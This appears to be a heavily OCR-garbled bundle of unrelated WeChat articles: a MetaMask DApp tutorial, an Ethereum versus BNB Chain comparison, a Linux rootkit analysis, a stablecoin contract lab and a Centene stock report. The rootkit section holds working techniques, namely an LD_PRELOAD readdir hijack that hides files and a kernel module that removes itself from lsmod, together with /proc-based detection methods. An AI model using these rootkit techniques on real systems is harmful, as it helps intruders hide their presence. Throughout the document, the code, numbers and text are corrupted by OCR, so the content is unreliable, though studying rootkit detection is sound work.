事件酯器 // //监融HctoMask 板户始更事件 484 If(Mindow.ethereun){ 405 Mindow.ethereum.on(*accountsChanged’, async (accounts) => if (accounts.length === θ){ //如果用户在MetaHask中断罚速结或切换到疫有标户的蜗路 408 statusEl.texLContent =“愿:末”; 1abesseu, - auensseno'1asnse15 411 balanceEl.textContent =“鲁: N/A′: connectButton.textContent =结到 MetaMask; 413 connectButton.disabled = false; chainEl.textContent =陷:末知; chainEl.classNane - *message'; 416 contractInteractionoiv.style.display = none: // 1 1 7 setNumberStatus.textContent =**; 419 }else { //幅户要更,量新初始化providcr/signer 更新资讯 provider = new ethers.providers Web3Provider(wind 2 Z signer = provider.getSigner(); swait updateAccountInfo(accounts[8]); awalt checkNetwork(): await initializeContract():// 重新初始化合的實例,以 12 ( contractInteractionniv.style.display = *block′; 428 12 9 //监MetaMask颠路更事件 window.ethereum.on(*chainchanged, async (chainId) => { 11舅路變更,重新初始化 provider/signer provider = new ethers.providers.Meb3Provider(windrw,e signer - provider.getsigner(); 434 awalt checkNetuork[):// 拾查新的照路是否為 Sepolia awalt updateAccountInfo(window.ethereum selectedA await initializeContract()://重新初始化合的宽例,因为 contractInteractionDiv,style.display - *block°; ) : 4 c/scripts </body> s/htnl>
测试用的ETH,以支付部署合的和發送交易所需的Gas费。
https://remix.ethereun-org/,用龄编寡、编莲及部署智能合的。
為何需要?由於测質器的安全策略(CORS限制),直接本地穆案系统開 index.htnl 可能會限制某些JavaScript 功能(特别是與 MetaMask 的互勤)。透 通一但商單的本地解真何服器访間,可以逐免道些間题。 。設置步骤:
Bashcd path/to/your/dapp folder
http.server 89ee如秉您没有安装 Python,也可以使用其他触易的 HTTP 何服 卷。例如: Node.js 用户:安装 http-server [npn install -g http-server), 然在目中通行http-server-p 8e8
遇摄“open with Live Server*,
(http://9.θ.0.8:80B8/)...的息.
完成上述「三、即發璟境准需與設置;中的所有步股。
保您已index.html 中的 cONTRACT_ADDRESS警换為您部署在 Sepolia上的實
限智能合的地址。
通常是
http://localhost:80o9/1ndex.htnl
(如果您使用 VS Code 的 Live Server,它育自動态您打奥页面)。
可以熟行的主要功能:
“建结到MetaHask”按訊。
MetaNask曾弹出提示,要求您授耀速结细站與您的疑包帐F。 。预期行為:页面會额示思的帐户地址、餘额和目前的细路状感。按照文字将竖為!已通 结,亚盘為禁用状感。
o如果您的MetaMask 富前摘路不是SepoL1a,DApp 提示您需要切操。 预期行為:贴提示後,MetaHask鲁弹出视窗引尊您切换到 5epalia测试间。成功切 换後,真面會示「细路:Sepolia 测试细.如果MetaMask 中波有 5epolia 细路 配置,它會引遵您新增。
成功速 MetaNask亚随在 Sepalia 網路後,真面會示您在程式碼中设定的合的 地址。 预期行為:真面上的目前能存的数字(myNumber)會自勤示智能合的中myNunber 的初始值(您在部暑助设定的数字)。
贴聚“更新合的數字“按钮。 。预期行為:DApP 會再次提區规链请取myNunber 的值,亚更新页面示。
在“输入新数字(整數)“输入框中键入一四新的数字(例如209)。 。贴聚“設定数字”按钮。 预期行為:MetaHask鲁弹出交易确視面,题示交易详情和预估的Gas用。硅交易 後,真面會示交易發送成功的提示(包含交易继烫),等待交易被區埋致後,页面上 的“目前存的数字,會自動更新为您定的新值。
在DApp 開敏的情况下。打開 MelaMask播件,手勤切换到另一個帐户或不同的细路 (例: Ethereun Mainnet ), 。预期行為:DApP 真面會自勤核测到盘化,亚更新显示的帐户地址、除髓和细路状感。如果 切换到非 SepoLia 蜗路,DApp 官再次提示您切换回来。 国 Sepolia ETH 湖武橘 DApp 能例 交县清求 M9T3 SE19E6S- 8938 :
智能合的烈助
Sepolia ETH 湖式编 DApp 葡例
暂款合的互助
@ Sepolle 众号 locahost8000 N ddva A H3 ejodes ElomesCansolesouses2) SepoliaETH測試網DApp例 8 0 图 2 top + | |@ Riter 1e: 1 影量下方按细理能治的 MetaMask 提包范度查病资 + cntersis: [S_SAARI folse 已建结 就感:已速感 螺路 : Seplia 比明 (ChainID: 11155111) 户;xff09700597b59947bae77d 群期: 0.8509 ETH 智能合的互動 食持批址: 0xED143bc4863F9235fB4837F2EBA 目期替存的数字 (myNumber: 1024 更新合的数字 战定新数字 What's new in DevToos 138 1024 Be einrw fostures 交县成功1新数字:1024
我們這個簡單的DApp例然只涉及讀寫一個數字,但它展示了區塊技術與前端應用的核心互 動模式。基於這種思路,DApp的應用潜力是無限的:
。思路:智能合約可以管理用户的代餘额,處理點對點支付。取代傅統銀行,無需第三方 中介,交易直接在區塊键上完成,透明且不可篡改。 o用:跨境支付、小额支付、DApp内建的代交易功能。
0思路:物聯網設備將感測器數據(例如温度、濕度、位置)寫入智能合約,利用區塊的不 可篡改性来確保数據的真實性和完整性。 0應用:供應溯源(農產品、藥品生產到銷售的全程數據上)、環境监測數據的防篡改 記錄、智慧城市傅感器數據共享。
。思路:智能合約可以存加密的身份資訊或學歷、證害等數位證的哈希值,用户有數據 控制權,可以選選性地向驗證方披露。 0應用:基於區塊的學生學歷證、專業資格證書、健康記錄管理、去中心化身份驗證 (DID)。
o思路:基於智能合約實現借贷、質押、去中心化交易所(DEX)、穩定等金融服務,無需 傳統金融機構。 o鹰用:自動化做市商(AMM)、流動性挖、閃電貨。
o思路:將數位内容(如藝術品、音樂、文章)的版權資訊或所有權記錄在區塊上,通過智 能合約實現版權的自動化交易和收益分配。 0應用:NFT(非同質化代)藝術品市場、音樂版權共享、内容創作者收益分配平台。
o思路:游資產(装備、道具、角色)以NFT形式存在於區塊上,玩家真正有這些資 產,可以在不同游間流通或交易。避规则也可以由智能合約自動執行,增加公平性。 o應用:Play-to-Earn游、虚凝土地所有權、元宇宙中的数位商品交易。 這個SimpleStorage例是所有這些複雜應用的一個微縮模型。它展示了DApp最核心的能 力:讀取上数據(getNumber)和提交交易修改上状(setNumber)。透過將更複雜的業務 辑寫入智能合約,亚設計更豐富的前端介面,您可以構建出涵蓋上述各個领域的創新DApP。
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发布于 2025-07-23 22:34:59（微信公众号导出记录）。
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original wex7ce EI V1ajero 2825年7月23日 22:35 浙江 以太坊與BNB智能亚非侵劣之分,而是為不同略目標設計的工具。 用發者面离一個根本性抉择:是抱以太坊無與偷比的去中心化與安全性,将其作爲高 值顾用的信任:還是利用BNB智能链的高性能與低成本,将其作為觸及海量用户的 活勤屑。 以太坊(Ethereum) BNB 智能(BNB Smart Chain) 封比维度 全球去中心化安全结算 高性能、低成本的一站式应用平台 核心定位 共機制 益證明(PoS) 權益威證明(PoSA) 安全基石 >100离验證者,經濟学感面 21因经运的验證者信 性能表現 L1较慢,依额L2携容 L1快,交易成本极低 開發者璟 EVM標举制定者,工具链成熟 完全EVM相容,無缝利用以太坊工具 境 DeFi總额會价值(TVL)终 生特微 日活蹈用户数、交易筆数逐逐领先 對领先 以Layer2為中心的模组化 One BNB:多生系统(L1+L2 未来方向
摘容 第1章:基础架椭:雨大生想的DNA 區塊鲢的底架横决定了其核心特性。以太坊和BSC在此做出了根本不同的設計,完美 释了“區瑰键三困境:中去中心化、安全性與可携展性之間的權衡。
以太坊的橙益證明(PoS)機制透遇一间大且動继的脑證者路(已超100第)来保 障安全。其设計精髓在於透遇經济激慰和属的断淀(Slashing)機制,確保證者 诚實行事。
化。一旦最化,要推翻它理输上需要攻者销毁价值数十億美元的ETH,為高 價值交易提供了坚如磐石的保障。
BNB智能链的權益權威證明(PoSA)是一因混合模型,旨在實现致的速度和低廉的費 用。 21個验者:路的核心安全由一個催有21個活蹈验證者的小图體继,每24小 時透退BNB持有者實押投票邀举盔生,运使其能實现的3秒的區境時間。 。中心化權衡:遍種設計大地牲了去中心化,亚引入了中心化控制的凰险,例如 验證者更容易串通或在外部墨力下暂停整個路。
以太坊(Ethere BNB智能(BNBSm 核心權衡 指標 art Chain) (wn 權益權威證明(PoS 去中心化VS.效 共機制 權益明(PoS) A) 率 安全的虞度 Vs. 融證者数量 21 > 1,066,880 决策的速度 谨的確 vs. 區境時間 ~12秒 ~3秒 快速的回愿
13-15分
7.5秒(機率性最终
高價值结算 (經 Vs. 交易最终性 高频互动 性) 济最终性强) 依额L2容 VS . L1 TPS ~15 -30 166 -308+ L1原生高性能 $2 ~$0.01 $0.10 平均交易費 $15+(高 安全溢价VS.用 (2024) 度波勤) (稳定低廉) 户可及性 去中心化程 安全舆抗密查VS. 低(中心化) 高 性能舆成本 度 第2章:開發者環境:共享工具與细微陷阱 得益於EVM相容性,雨大平台共享了核心的開發語言和工具,但開發者必须警惕「相 容不等於完全一致。
全性的Pythonic語言,也可在兩個平台速行。
速原型),Truffle(全楼周發),Hardhat(现代周發框架) 和Foundry(高性能测試)。切換網路通常只需修改配置文件中的RPC URL和Chain ID
dApp以太坊逻移至BSC看似商單,但必须警惕以下淄在陷阱: 下依赖:硅保预言(Chainlink)、索引服務(TheGraph)等键基 設施在BSC上可用且可靠, 安全假設改曼:為以太坊高Gas费璟境設計的安全模型(如防摘跑交易),在BSC 的低費用、高速度環境下可能失效,暴露新的攻黎向量, 跨机凤险:產通移依赖跨键椅,而跨橋是復且高风随的组件。2022年BSC 官方跨疑被盗事件是修痛的教訓。 社群與流勤性:程式碼可以覆製,但信任、流励性和社群無法輕易通移。成功的 通移:往往是原專案方的官方多键部署,而非商單的程式碼覆裂。 第3章:安全深度剖析:雨種模型的博弈 以太坊和BSC提供了雨種截然不同的安全哲學,開發者需根據愿用自身的威确模型连行 遥择。
安全 以太坊(Ethereum) BNB智能键(BNB Smart Chain) 维度 基於大规模經滴博奔。攻黎成本 安全 基於融證者信警和協調能力。依赖21個 高连数十億美元,且有照属的 基碟 聪證者的誠實舆安全。 没機制。 智能合Bug、ME 中心化凰险 级漏洞、 主要 :驗者审通、外部密查驱力、單點故 V中心化超势(透逸PBS銀 风险 解)。 障。 2022年跨键桐被盗 經受住了多年考,被银為是高 :攻擎者利用合的遍洞源空增發BNB。官 案例 價值资產最可信的底。 方透過調證者暂停全來應到,凸显 了其中心化治理的雙刃剑效鹿。 放市場與協化 受控市場 :在其許可的睡證者架精内,建立一個 :透遇MEV-B00st和未来的 MEV 公平统一的MEV市場,更偏向於中心 内PBS,旨在將MEV取民主 哲學 化,增强抗寄查性。 化管理, 结输:一個掌管数億美元的DeFi,必须遇挥以太坊的强經清安全。而一個键上道 ,其管还安全:(流幅、低成本)可能比防箱國家级密查更重要,此時BSC是更置 際的選择, 第4章:生题系统分析:资本與用户的歸 继上数揭示了雨個生感系统的不同墨像:以太坊是资本的家圆,而BSC是用户的操 園。
.TVL主導地位:以太坊的鎖會價值(TVL)常年保持在BSC的10倍以上(的$828 v5~$67億),是Aave、Lido、Uniswap等蓝需DeFi和機構資本的首 遥。
场。
活显度领先:日活蹈用户数和交易筆数持绩数倍於以太坊L1,完全是其低費用策 略的成功。
更频繁的零售交易行爲。 GameFi沃士:低廉的微交易成本使其成為链道(GameFi)和高频消费应用的天 然遇择。
以太坊(Ethereu BNB智能(BNBSm 指標 解馈 art Chain) m)& L2s 會俱值 资本信任度的體 ~$825億美元 $67值美元 (TVL) 现 24小時活露 用户可及性的體
(L1)+
L25 地址 现 (L1)+ ~168萬 24小時交易 路使用成本的 ~1374萬 L2s 筆数 直接结果 創新動 創新服勤 Vs. VS. PancakeSwap Uniswap,Curve 核心DEX Curve
兩個不同但真實 生態壹像 資本的信任層 用户的活動層 存在的市場 重要提示:直接比较以太坊L1與BSC的活度具有误導性。以太坊的真實活動是L1+ 所有Layer2(Arbitrum,Optimism等)的總和。BSC的真正競爭者,是這些提 供同樣低費用的以太坊L2網路。 第5章:未來展望:兩條分化的摘容之路 兩大平台的發展蓝圖進一步揭示了它們的略分歧。
以太坊正全力將自身打造成全球安全結算層,將執行任務外包L2。
核心略:模組化區塊。L1負责安全和數據可用性,L2負责計算和執行。
關鍵措:
oDencun升級(EIP-4844):已於2024年實施,透過引l入「Blobs」大幅降 低L2的數據成本,使L2交易費降至美分甚至更低。 o完全分片(FullDanksharding):長期目標,將進一步極大提升数據空 間,支持數萬TPS的生態系統總吞吐量。 。協内PBS:將MEV解决方案整合進核心協,增強去中心化和抗蜜查性。
BNBChain致力於打造一個垂直整合、協同工作的「OneBNB生態系統。
方案。
oL1性能增强:計劃将區塊GaS上限提升10倍,支持每秒處理5,000筆DEX交 易。 opBNB(Layer2):基於0PStack構建的L2,目標是實現超4,000TPS 和低於$0.001的交易費,主攻游和高频應用。 。BNBGreenfield(去中心化存):與BSC協同工作,為dApp提供原生的 去中心化存解决方案。 第6章:結與開發者略決策
决策因 選選以太坊(及其L2s) 選選BNB智能(及其生態) 素 核心價 無需信任的安全性、去中心化 極致的性能、低成本和用户體驗 值主張 高價值DeFi協、機構金 链游(GameFi)、社交dApp、高交 理想應 融、DAO治理、蓝NFT 用場景 易、面向海量零售用户的應用 目標用 DeFi巨鲸、機構資本、加密 對價格敏感的零售用户、Web2移用 户 原生用户 户、游玩家 主要考 安全是第一要務,意為去中 用户增長和活度是首要目標,可接受 中心化带來的風。 量 心化支付溢價。
最優策略往往不是「二選一」,而是根據業務需求進行多部署。例如:
在以太坊L1或L2上部署核心金库和治理合約,利用其安全性。
在BSC或opBNB上部署面向用户的交易前端,利用其低费用和高速度。
以太坊和BNB智能正日益分化,分别服務於Web3世界的不同细分市場。以太坊正固 其作為全球安全算層的地位,而BNB智能键则致力於成為服務海量用户的高性能執行 環境。 對於開發者而言,這代表著廣阔的機遇。最成功的構建者將是那些能深刻理解雨大生 的本質權衡,懂得如何巧妙駕和組合其優勢的人。在多存的時代,適應性和跨 生的視野是通往成功的關键。
发布于 2025-07-22 11:14:48（微信公众号导出记录）。
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本文旨在對Linux 璟填下的 Rootkit技術进行深度分析,提供基於C韶言和内核模组的攻型 震作例,亚量述在系统工具可已被污染的情况下,如何造行可靠的状感推视网系接别
L1nux 删感谨结器(Dynamic Linker)透遇 LD_PRELOAD 瑞境攀数,允许在庭用释式欲删時 制像先载入指定的共享座(.50榴案)。攻聚者可利用此機别,编寫一因恶意共享序置作與棵单 C函式座(Libc)中同名的函式。l.s 等指令被软行i,恶盈函式會取代原始函式,而描 亚通输出,到围荒榴案等目的。
本實胎建一健慈意共享康,劫持readd1r函式,以爆藏所有以_SECRET_為前绥的相案 攻程式碼(ld_hijack.c) #define GNU_soURCE #include <stdio.h> #include <dirent.hs static const char* HIDE_PREFIX = *SECRET"; //原始readd1r通式的通式指標原型 Lypedef slruct dirent * {*arig reatdir_t](0iR ×dirp); //置作[ibc中rcaddir 同名的意函式 //透通dlsyn瘙取下一需符號(即原始的readdir)的位址 orig_readdir_t orig_readdir = (orig_readdir_t)dlsym[RTLo_NExT, *re struct dirent *dir; 11通面呼叫原始函式,直到找到一留不需题的修目 while ((dir = orig_readdir(dirp)1) { 1f (strstr(cir->d_nane, HIDE_PREFIX) -- NULL} { break://如需瘤各不包含题的摄,别回傅酸修目 relurn dir;
實验步眼与验资 并1.输物共享康 gcc -shared -fpIc lc_h11ack.c -o ld_h1jack.so -ldl #2.别建测试瘤察 touch _SECRET_internal_memo.txt touch public_report.txt
echo "..- [BeFoRE] Running ls nornally!" ls -1 预期输出: #_SECRET_interna?_memo.txt 12# Id_hijack.so 13 # public_reporf.txt
15#4.使用LD_PRELOAD赖行5,秘密察鼓硬离 echo -e "yn--- [AFTER] Running ls with LD_PRELOAD:" 18#预期糖出(_SECRET_InternaL_meno.txt B消失): #Id_hijack.c 21# pubtic_report.txt
的调訊来源即為此经表。量LKM在基人後,可执行 ist_del_init(&_this_module.list),其自身的點偿此经表中移除,而 lsmod 等標萃工具周形
攻聚程式码(hidden_Lkn.c)
include <linux/init.h> HODULE_LICENSE(GPL); HoDULE_DESCRIPTIoN(*A module that hides itself fron lsmod"); static int _init hidden_init(void) { 11偿全垃模组缺表中游白身移除,實理硬微 list_del_init(&_this_module.list); return 6; static void __exit hidden_exit(void) {} nodule_exit(hidden_exit) ; Makefile obj -n += hidden_1kn.0 all: nake -C /lib/nocules/${sheLL unane -r] /buitd M=$[PWD) modules clean: nake -C /lib/nodules/$(shell unane -r) /build M=$(PD)clean 部署奥检测實验 并1.编螺模组(假投環境配置正础) make #2.加载模组 sudo insmod hidden_1km.ko
echo ".-- [INFo] Checking with lsnod.." lsnod I grep hidden_1km [INFo] lsnod check conplete. (No output is expected)* echo "...
ccho -e "yn--- [INFo] crass-referencing ta find hidden modules...*
conn -23
's//1/s。 pes I ,[Ns qutad}, xe | su(s11ex/soud/ ,[s-1, da6]>
(n- ↓uos | sanpom/soud/ {ts 4urud), xme]>
14预据糖出:
15#hidden_Lka
技斯原理:系统呼叫封持
此技術透通修改内核中的系呼叫表[sys_cal1_table),将原始的系統呼叫函式指标替换為恶意
函式的位址。这是量高耀限的截方式。但由龄现代Linux内核包含多强大的安全制(如
KernelLockdown),直接、疆定地實作此技術度依赖特定且通常较善的内核環境,故本文聚您
於其理逾和椎测方法。
当疑系统工具已被污染時,必酒通它仍,直接内核暴鑫的原始数據源/proc檔案系统中请取 资讯。
comm文件是行程名,cmdline文件是完整的動指令行(以\0分隔)。
d uou4 sossd s doi Butistn Anqetiad ---, ooe
echo ".-- Reliably Listing Top 5 Processes from /proc:"
/,p- ns | +[6-a]. aueu- p adf1- [ yndapxeu- aoud/ putj)$ ut pid Joj
printf "PID: %-7s Name: %-15s Cmdline: %s\n"
"PTd$"
"$(cat /proc/$pid/comm 2>/dev/null)"
done 丨head -n 5
IP地址和端口號是以十六進制(且為LittleEndian字序)格式存的,需要解碼。
解碼本(decode_tcp.awk) #!/usr/bin/awk -f function hex_to_dec(h) { return sprintf("%d","ox" h)} function hex_to_ip(h){ return hex_to_dec(substr(h,7,2)) "." hex_to_dec(substr(h,5,2)) ". { BEGIN{ printf "%-22s %-22s %s\n","Local Address","Remote Address","Sta’ states["O1"]="ESTABLISHED"; States["OA"]="LISTEN"; 6 10 { 11 NR > 1 { split($2, local, ":"); 12 13 split($3,remote,":"); 14 if ($4 in states){ state = states[$4] } else { state ="oTHER" } 15 printf "%-22s %-22s %s\n", 16 hex_to_ip(local[1]) ":" hex_to_dec(local[2]), 17 18 state
執行解碼 echo ".-- Reliably Listing TcP Connections from /proc/net/tcp:" chmod +x decode_tcp.awk ./decode_tcp.awk /proc/net/tcp
手動查適用於初步判,系統化的策略才是防的關键。
案的雜凑值(hash)進行比對,以發現二進位檔案替換。
對其記憶體轉或磁碟映像進行分析。 o記憶體取證:使用Volatility3框架,其linux.check_Syscalls插件可精確機 測系統呼叫表是否被排;linux.check_modules可發現藏的内核模組。 o磁碟取證:使用TheSleuthKit(TSK)等工具,可底層文件系統結構中恢復被 Rootkit藏或“删除”的檔案。
本文透通理結合可重現的實驗,系統性地展示了Rootkit的攻擎手法與可靠的測方式。其核 心結為:在應對高威時,必须放對標准高層工具的盲目信任,韩而/proc等内核直接暴 露的數據源進行底層取證與交叉驗證。對於深度藏的内核級威,離線取證是最終且最可靠的裁决 手段。
发布于 2025-07-20 23:50:19（微信公众号导出记录）。
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實验日:零到一,横建可雙向操作的ETH抵押穩定協 vex7ce EI V1ajero 2625年7月20日 23:50 广东 本置验旨在磺建亚验罐一個功能完的、基於以太坊(Sepol1a别试编)的抵挥定赔協。 支持用户抵押ETH以造疆定(NSC),允許用户操逼MSC以素回其抵押的ETH,本设計的 核心是引入了遇度抵押(156%)和健康因子計算,作高基碰的凰险管理機制此文檀記了合约编 离到最終集成测试的完整流程。
本協读由雨個核心智能合的模成,共同宽现其核心功能:
遵循ERC2θ 標军,代號MSC. 。内置mint()(端造)和 burn()(第跌)方法。 。為碰保货带行權的唯一性與安全性,道雨個核心權限將通通Ownable模式,舞家授予端 核心引辈合的 Engine.sal
抵押品管理:负责接收、镇定和解還用户的ETH括押品。 通度抵押制:强制软行159%的抵押率。即用户抵押倡值$156的资產,最多可锦造 假值$109的硬定常。 。资產造贝回:
格,計算造相感款量的MSC。
退封愿價值的ETH 凤隐监控:提供getHealthFactor 視圆函数,允許外部查询任一盒位的健康状况。 核心交互流程量:
用户->送 ETH-> Engine.sol oEngine.sol->前 ChainLink价格 Eng1ne.sol->融馏通度抵押,計算可造数量 Engine.sol->MyStableCoin.mint()-> 爱送 MSC 至用户地址
o用-> MyStableCoin.approve[) 授槽->Engine.sol 用月-> Engine.sol.redeen() o Engine.sol -> MyStabteCoin.burnFrom() 级用的 MSC oEnginc.sol>叠物 Chainlink俱格,計算愿遣 ETH->豫送ETH 至月乒地址
使用OpenZeppelin ERCz0Burnable 撰展以震现掌化的功能。 源代硼MyStableCoin.sol: // SPDx-License-Identifier: NIT pragna solidity ^0.8.20; inport "(openzeppelin/cantracts/token/ERcza/extensions/ERczoBurnable.5: inport "eopenzeppelin/contracts/access/ownable sol";
@title Mystablecoin
@dev 一可橘造、可鳞毁的 ERC29 代,由唯一的 Ovner [Engine.sol} 控割
/
contract MyStableCoin is ERcza, Ownable, ERczoBurnable { //横造函数,初始化代磨名额、符號和初始Owner constructor() ERC2e(My Stable Coin", “MSc) Ownable(msg.sender) { @dev 播造新案。只能由 Owner 调用。 / functian mint (address to, uint256 amount) public only0wner { _mint(to, onount);
部鲁後得到NyStableCoin合的地址8x7fAa36FD4295569752C192d69eB49F3f:5A45dD
封装了所有核心繁移逼畅,包括抵押、造、照回和凰险計算。 源代疆 Engine.sol: // SPDX-LIicense-Identifier: NIT pragna solidity ^0.8.28; 1nport "@chainlink/contracts/src/vo.8/interfaces/Aggregatorv3Interface inport "./Nystablecoin.sal"; contract Engine { 就影婴量 /7 Aggregatorv3Interface internal priceFeed; My5tableCoin public mscToken; uint256 publlc constant CoLLATERALIZATIoN_RATI0 - 150; uintz56 private constant FEED_PRECI5I0N = le8; napping(address => uint256) public debtInMSC; 事件 // event CollateralRedeemed(address indexed user, uint256 mscAmount, 造函数 constructor(address _priceFeedAddress, address _mscTokenAddress) { priceFeed = Aggregatorv3Interfacef_priceFeedAddress) : mscToken = MyStableCoin(_mscTokenAddress); function depositAndMint() public payable { require(nsg.value > 0, Hust deposit ETH); uint256 ethPrice = getEthPriceInusd(): uintz56 collateralvalueInUsd = (msg.value * ethPrice) / FED_P ulnt256 anountToMint - (collateralvalueInUsd * 109) / CoLLATER require(anountToMint > 0, Deposit not enough to mint any MSC" collateral [nsg.sender] += msg.value; mscToken.nint (msg sender, amountToMint) : emit CollateralDeposited(nsg.sender, nsg.value); function redeenAndBurn{uint256 _mscAnountToBurn) puhlic { require(_nscAnountToBurn > θ, "Must burn nore than θ HSC); require(debtInMSC[msg sender] >= _mscAnountToBurn, *Cannot bun uint256 ethPrice = getEthPriceInusd(); ulnt256 ethAnountToRedeen - (_mscAnountToBurn * FEED_PRECISION require(collateral[msg-sender] >= ethAnountToRedeem, *Not enou deht InMSC[nsg sender] -= _nscAmountToBurn; collateral[nsg sender] -= ethAmountToRedeen; 4 2 mscTaken burnFrom{msg sender, _mscAnountToBurn) : 13 (bool success, ) = payable(msg.sender) -call{value: ethAnountTol require(success, ETH transfer failed); emit CollateralRedeemed(msg sender, _nscAnountToBurn, ethAmoun 辅助/视盈功能 // functian getEthPrireInusd() public view returns [uint256) { )= priceFccd.latestRoundData[); (, Int price, . ) = priceFeed. LatestRoundData(); return uint(price): function getHealthFactor(address _user) public vlew returns (uint2. uint256 collateralEth = collateral[_user]; uintz56 dcbt = debtInNsC[_user] : 1f (debt == 0) return type(uint256) .nax; uint256 ethPrice = getEthPriceInusd(): uintz56 collateralvalucInUsd = (collateralEth * ethPricc) / FE uint256 debtvalueInUsd - debt; return (collateralValueInUsd + PRECISIoN) / debtvalueInUsd;
部暑後得到Engine合地址Bx735Da4333D1fHef19760F4BA
此璟颜包含整信熔能购正常工作的開键步器。必须最格按照期序操作和胎罐。
為MSC_ADDRESS,
1,在 Rcmix 中,通捶Enginc.sol 合的。 2,在“DepLoy”按钮无的桶造函数参数输入框中,按顺序填意: _priceFeedAddress 地 ( 0x694AA17693572150E4FAC081bf1f309aDC325306
°_nsCTokenAddrcss (地址):粘胎上一步能操的 MSC_ADDRESS.
强。為了 Engine 合的施成功造代带,Engine 合的自身必须成微 My5tableCoin 合的的owncr.
3,在旁遗的输入框中,粘贴ENGINE_ADDRES5。
目的:在进行下一步测试前,必浪随保權限已正硬設置。
款行操作:
在完成业睡所有部署和授壁步履很,需始进行功能测试。 潮用例1:存款與警(Deposit&Hint)
MSc除翻:在MyStableCoin 合约實例上,期用balanceOf 查陶用户地址,應能看 到非零的 MSC 除。 健康因子:在 Engine 合約實例上,期用getHealthFactor 查旗用户地址,返回值愿 接近 150008008600000000 (1.5)。 o = ev
公奋司 Etvialero 添加查詢自己發行的代
測試用例2:回與銷毁(Redeem&Burn)
o定位到MyStableCoin合約實例。 o調用approve函數,將spender設置為ENGINE_ADDRESS,amount設置為希望 回的数量(例如50000000000000000000代表50MSC)。 。確交易。
50
o定位到Engine合約實例。 o調用redeemAndBurn函數,將_mscAmountToBurn設置為與上一步approve相 同的数量。 。確韶交易。 eeeeeemm
EAXIRON 2000 %.4.8
已經提取出50MSC
oETH餘额:應截察到包的ETH餘增加。 oMSC餘额:MSC餘额相鹰减少。 0健康因子:健康因子應高於初始值,表明詹位風险降低。 S(1) s601 TRANSACTION ACTION Approve 50 O MSC forTnade on Ox735Da433894049F23 by OxFaef0970.AFe14774d [This is a Sepll Testnet transaction only] 1 Transaction Hash: 0x1fb948f9c53c43487c7773a38c342980 JES916P10 Status: Block (1n d 880 s20z-02-nr) o6e suw From: ef09708060405E1e97eBd596947CBAFe14774d To: Value: 0 ETH
Transaction Fee: sg
More Details:
至此,一個包含核心穩定機制的DeFi協已成功構建完成完整測試。本實驗驗證了合約間的權 限控制、與预言機的交互以及基於通度抵押的資產發行與回遥辑。後續可在此基上,進一步探索 清算引擎、多抵押品支持及去中心化治理等高級功能。
发布于 2025-07-19 01:50:09（微信公众号导出记录）。
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未来展望 original w0x7ce EI V1ajero 2825年7月19日 01:50 日本 投资摘要 本报告旨在对CenteneCorporation(纽约证芬交易所代码:CNC)的股票进行全面、 深入的分析。核心投资论点是,是管Centene的段价在近期经历了灾难性的下跌,其估值 在表面上看似极具吸引力,但导致此次前盘的核心负面催化剂——即公司管理层信誉的彻底丧 失以及对2026年盈利能力的高度不确定性一尚未被市场完全消化。简而言之,该股票的 “便宣”是有其深刻原因的。 主要负面因素:Centene正面临一场双重危机。首先,其在健康保险市场 [Marketplace)业务中的风险调整模型遭過了灾难性失败,这不仅是一次性的财务打击, 更募露了公司在核心精算和风险评估能力上的严重缺陷1。其次,其规模庞大的医疗补助计 划(Medicaid)业务正遭受医疗成本急剧上升的冲击,这主要源于Medicaid 资格重审 后留存会员的更高疾病风险。这两大问题共同指向了公司在理解和定价人口醚裹风险这一 核心竞争力上的系统性蜀点。 估值结论:基于对已按露信息的分析,本报告重新测算了Centene2025年的调整后稀 释每股收益(AdjustedDilutedEPS)。在原先超过7.25的指引基础上,仅已知的风险 后,预计其2625年调整后 EPS可能降至3.25至3.85美元的区间。更重要的是,由于管理层信的离塌,该股的 复苏的保守预期(EPS约为5.00美元)和11倍的远期市盈率(ForwardP/E),其理 论段价中枢为55.00美元。 技术展望:从长期技术图表分析,关键的支撑位位于约27美元和17美元区域2。然 而,必须强调的是,在基本面企稳的明确信号出现之前,任何技术支撑都可能是脱转的。 27美元水平代表了2015-2016年的长期盘整平台,是一个具有重要心理意义的潜在底 部。 最终建议:综合来看,本报告给予Centene 中性/减持(Neutral/Underweight)的 评级。尽管该股在历史估值指标上看异常便宜,但其前瞻性风险过高,不适合寻求稳定回报 的投资者。对于新投资者而言,目前并非介入的理想时机。Centene 已成为一个典型的“用 业绩证明自己(show-me)“的故事。在公司通过2825年第二、三季度财报证实其能够控 制Med1ca1d成本,并成功获得2026年的市场费率批准以重建可信的盈利基线之前,建 议投资者保持观望, 商业模式与竞争格局:政府医保领域的高风险投资标的
CenteneCorporation是一家财富5oθ强企业,其核心业务是作为美国政府资助医疗 保健计划的主要中介机构”。公司的使命是通过“本地化”的策略-—即利用地方品牌和团队-— 为保险不足和无保险的个人提供全面、高质量且具有成本效益的医疗服务。这一定位使其 成为美国医疗体系中服务于品势群体的关键参与者。 在2025年7月的前盘前,Centene 的市场地位十分显赫。它是全美健康保险市场 [Health Insurance Marketplace)的第一大运营商,总保费和服务收入高达约 1455亿美元,为全国超过2866万会员提供服务”。这一巨大的规模使其在政府医疗保健 领域拥有举足轻重的影响力。
Centene的主要收入横式是基于“按人头付费(capitation)"的安排‘。在这种模式 下,公司从政府支付方(如州 Medicaid 机构或联邦医疗保险和医疗补助服务中心CMS) 收取固定的、按会员每月计算的费用(per-member-per-month fee)。作为交换, Centene负责管理和支付这些会员的医疗保健服务费用。该模式的核心激励在于成本控制: 如果Centene能够以低于预收保费的成本提供服务,公司就能保留差额作为利润“。 公司的收入主要来源于三大业务板块:
是美国显大的Medicaid管理式医疗组织(MCO),其业绩与各州的合同续签、报销 费率以及会员的健康状况(即疾病风除,acuity)密切相关。
险市场(Marketplace)业务。作为该市场的全国领导者,Marketplace 近年来
和Medicare 处方药计划(PDP)中也占有重要地位,尽管规模小于前两大业务, 但仍是其业务组合的重要组成部分。 公司的增长战略历来依赖于内生性增长和战略性收购的双轮驱动,其中对WelLCare
